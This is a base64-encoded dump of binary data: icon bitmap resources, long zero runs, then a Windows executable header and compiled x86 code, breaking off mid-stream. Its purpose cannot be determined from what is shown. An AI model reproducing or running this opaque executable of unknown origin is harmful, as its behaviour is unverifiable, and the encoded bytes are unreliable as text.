AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAwAAACAAAIAOAAAAQAAAgAAAAAAAAAAAAAAAAAAAAgABAAAA WAAAgAIAAABwAACAAAAAAAAAAAAAAAAAAAABAGUAAACIAACAAAAAAAAAAAAAAAAAAAABAAQI AACgAAAAAAAAAAAAAAAAAAAAAAABAAQIAACwAAAAAAAAAAAAAAAAAAAAAAABAAQIAADAAAAA 0FAJAOgCAAAAAAAAAAAAALhTCQAoAQAAAAAAAAAAAADgVAkAIgAAAAAAAAAAAAAAKAAAACAA AABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL8AAL8AAAC/vwC/AAAA vwC/AL+/AADAwMAAgICAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAd3gzqgAAAAAAAAAAAAAHf3d4M6p3gAAAAAAAAAAP9/d3eDOqd8hgAAAA AAAA//9/d3gzqnjGZgAAAAAAD///93d4OKd8hmZgAAAAAHf//393eDenjGZmdwAAAAeHf//3 93g3p8hmZ3dwAAAIeHf//3d4OqjGZnd34AAAh4eHf//3eDqshmd37u4AAHh4eHf/f3g6jGZ3 7u67AAeHh4eHf/d4Oshnfuu7uqAIeHh4eHf4iIjGfru7qqqgB4eHh4eHiAAAiLu6qqMzMAh4 eHh4eICP+AgzMzPd3dAIiIiIiIiA//8IXV1dXV1QBdXV1dXVgP//CIiIiIiIgA3d3TMzM4CP +AiHh4eHh4ADMzqqq7uIAACIeHh4eHhwCqqqu7vnbIiIj3eHh4eHgAqru77ndoyjh3/3eHh4 eHAAu+7ud2bIo4f3/3eHh4cAAO7ud3ZoyqOHf//3eHh4AAAOd3dmbIqjh3f//3eHgAAAB3d2 Zox6c4d/f//3eHAAAAB3ZmbIenOHd/f//3cAAAAABmZox3qDh3d////wAAAAAABmbIeqM4d3 9///AAAAAAAABox3qjOHd39/8AAAAAAAAAAId6ozh3f3cAAAAAAAAAAAAACqM4d3AAAAAAAA AAAAAAAAAAAAAAAAAAAAAP/wD///gAH//gAAf/wAAD/4AAAf8AAAD+AAAAfAAAADwAAAA4AA AAGAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAGAAAAB wAAAA8AAAAPgAAAH8AAAD/gAAB/8AAA//gAAf/+AAf//8A//KAAAABAAAAAgAAAAAQAEAAAA AADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAACAgIAA wMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAACIc6gAAAAA/4hzLM YAAACPiHMsZoAACHj4csZoYACHh4hyxoqqAHh4dwCCqiIAh4eA/wERVQBVERD/CHh4ACKqKA CHh4cAqqhsJ4h4eAAGhmwnj4eAAAhmwjeI+IAAAGzCN4j/AAAAAIo3iAAAAAAAAAAAAAAPgf AADgBwAAwAMAAIABAACAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAEAAIABAADAAwAA 4AcAAPgfAAAAAAEAAgAgIBAAAQAEAOgCAAABABAQEAABAAQAKAEAAAIAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATVqQAAMA AAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA CAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAAAWo2kaUsIHSVLCB0lSwgdJKd4LSVPCB0kE3RRJd8IHSVLCB0lewgdJ D+AMSVjCB0nR3glJScIHSQ/gDUnKwgdJK+MMSQHCB0mt4gNJUMIHSVLCBkmzwwdJC+EUSUXC B0kN4AxJX8IHSZXEAUlTwgdJUmljaFLCB0kAAAAAAAAAAAAAAAAAAAAAUEUAAEwBBACXsbU6 AAAAAAAAAADgAA8BCwEGAACgAgAAwAEAAAAAAEbvAAAAEAAAALACAAAAQAAAEAAAABAAAAQA AAAAAAAABAAAAAAAAAAAcAQAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAA AAAAAAAAAAAIKAMALAEAAAAwBADgOwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALACAKAFAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEOTAgAAEAAAAKACAAAQAAAAAAAAAAAAAAAA AAAgAABgLnJkYXRhAAAclgAAALACAACgAAAAsAIAAAAAAAAAAAAAAAAAQAAAQC5kYXRhAAAA 6NEAAABQAwAAUAAAAFADAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAAOA7AAAAMAQAAEAAAACg AwAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOkLAAAAkJCQkJCQkJCQ kJBooFJDAP8VELVCAKNIo0MAw5CQkJCQkJCQkJCQkJCQkItEJARWUIvxamToAs4BAMcGwLVC AIvGXsIEAJCQkJCQwgQAkJCQkJCQkJCQkJCQkFaL8egYAAAA9kQkCAF0CVbo4AUCAIPEBIvG XsIEAJCQ6U/LAQCQkJCQkJCQkJCQkMIEAJCQkJCQkJCQkJCQkJC4oLVCAMOQkJCQkJCQkJCQ oVijQwDDkJCQkJCQkJCQkItEJASjWKNDAMIEAJCQkJBqA2oAagBqAGoAaLD3QwDo7/4BADPA w5CQkJCQkJCQkItBHGoAUP8VDLVCAMOQkJCLQRxqAVD/FQy1QgDDkJCQ6QsAAACQkJCQkJCQ kJCQkGigUkMA/xUQtUIAo2CrQwDDkJCQkJCQkJCQkJCQkJCQuJC2QgDDkJCQkJCQkJCQkFaL 8WoA6D5KAgChoF5DAImGyAAAAIsNoF5DAImOzAAAAMcGyLZCAIvGXsOQkJCQkFaL8egYAAAA 9kQkCAF0CVbowAQCAIPEBIvGXsIEAJCQav9oUJJCAGShAAAAAFBkiSUAAAAAg+wIVovxV4l0 JAiNvsgAAADHRCQYAAAAAIl8JAyNTwTGRCQYAegREgIAi8/GRCQYAOgFEgIAi87HRCQY//// /+joSgIAi0wkEF9eZIkNAAAAAIPEFMOQkJCQkOgLAAAA6RYAAACQkJCQkJC5YKNDAOkm//// kJCQkJCQaEASQADoMtcAAFnDkJCQkLlgo0MA6Vb///+QkJCQkJBq/2iCkkIAZKEAAAAAUGSJ JQAAAACD7FRTM9tWi/FT6AZaAACDxASLzuhdTQIAoaBeQwCJRCQIjUwkIIlcJGToYNEBAI1M JBDGRCRkAeiOQAAAjUwkCMZEJGQCUVGLzIlkJBRoSFRDAOihEQIAjUwkGOhqRQAAO8MPhNEA AACLVCQIiZ7EAAAAUlNoAwAfAP8VHLJCADvDiYbAAAAAD4WiAAAAi0QkCFBqAWoBU/8VILJC AIvOiYbAAAAA6CABAABo2AAAAOgSAwIAg8QEiUQkDDvDxkQkZAN0CYvI6N8DAADrAjPAiYbQ AAAAixCLyMZEJGQC/5K4AAAAi4bQAAAAjUwkEIlGHMZEJGQB6F9AAACNTCQgiFwkZOgZ2wEA jUwkCMdEJGT/////6HEQAgC4AQAAAItMJFxkiQ0AAAAAXluDxGDDx4bEAAAAAQAAAI1MJBDG RCRkAegTQAAAjUwkIIhcJGTozdoBAI1MJAjHRCRk/////+glEAIAi0wkXF4zwGSJDQAAAABb g8Rgw5CQi0QkBFDoawICAFnCBACQkFaL8YuGxAAAAIXAdR6LhsAAAABqAGoBUP8VFLJCAIuO wAAAAFH/FRiyQgCLzugmSgIAXsOQkJCQkJCQkJCQkJBq/2i4kkIAZKEAAAAAUGSJJQAAAACD 7EyNTCQ86D9BAACNTCQsx0QkVAAAAADozkEAAI1MJBzGRCRUAeggQAAAjUwkDMZEJFQC6JI/ AAChoF5DAIlEJASNTCQExkQkVARRUYvMiWQkEGhoVEMAx0QkDAAAAADotA8CAI1MJDTofUMA AIXAdH2NVCQAUlGLzIlkJBBoXFRDAOiRDwIAjUwkJOgaQgAAhcB1HGr/UYvMiWQkEGhcVEMA 6HEPAgCNTCQk6KpCAACNRCQAUFGLzIlkJBBoUFRDAOhSDwIAjUwkJOjbQQAAhcB1G1BRi8yJ ZCQQaFBUQwDoMw8CAI1MJCTobEIAAI1MJARRUYvMiWQkEGhIVEMA6BQPAgCNTCRE6N1CAACF wHR+jVQkAFJRi8yJZCQQaFxUQwDo8Q4CAI1MJBToekEAAIXAdRxq/1GLzIlkJBBoXFRDAOjR 